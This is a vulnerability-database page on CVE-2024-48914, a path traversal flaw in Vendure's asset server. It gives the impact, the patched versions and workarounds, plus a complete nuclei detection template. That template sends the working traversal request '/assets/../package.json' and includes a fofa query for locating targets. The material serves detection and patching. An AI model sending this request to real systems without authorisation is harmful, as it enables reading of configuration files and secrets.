HexBrain

Browse / CVEs / CVE-2024-48914

CVE-2024-48914· vendure-ecommerce / vendure· CWE-20

Vendure - Arbitrary File Read

criticalseverity
9.1CVSS score
60.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI.

Impact

Allows attackers to read arbitrary files on the server, including sensitive data such as configuration files and environment variables.

Fix

Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.

How to confirm it

Send: GET {{BaseURL}}/assets/../package.json
Positive when: contains_all(body, "name", "version", "main" ,"license") and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-48914 -u <target>

The full check
id: CVE-2024-48914

info:
  name: Vendure - Arbitrary File Read
  author: s4e-io
  severity: critical
  description: |
    Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI.
  impact: |
    Allows attackers to read arbitrary files on the server, including sensitive data such as configuration files and environment variables.
  remediation: |
    Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48914
    - https://github.com/EQSTLab/CVE-2024-48914
    - https://github.com/vendure-ecommerce/vendure
    - https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358
    - https://github.com/vendure-ecommerce/vendure/commit/e2ee0c43159b3d13b51b78654481094fdd4850c5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-48914
    cwe-id: CWE-20
    epss-score: 0.60416
    epss-percentile: 0.99151
  metadata:
    verified: true
    max-request: 1
    vendor: vendure-ecommerce
    product: vendure
    fofa-query: "Vendure"
  tags: cve,cve2024,vendure,lfi,file-read,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/../package.json"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "name", "version", "main" ,"license")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from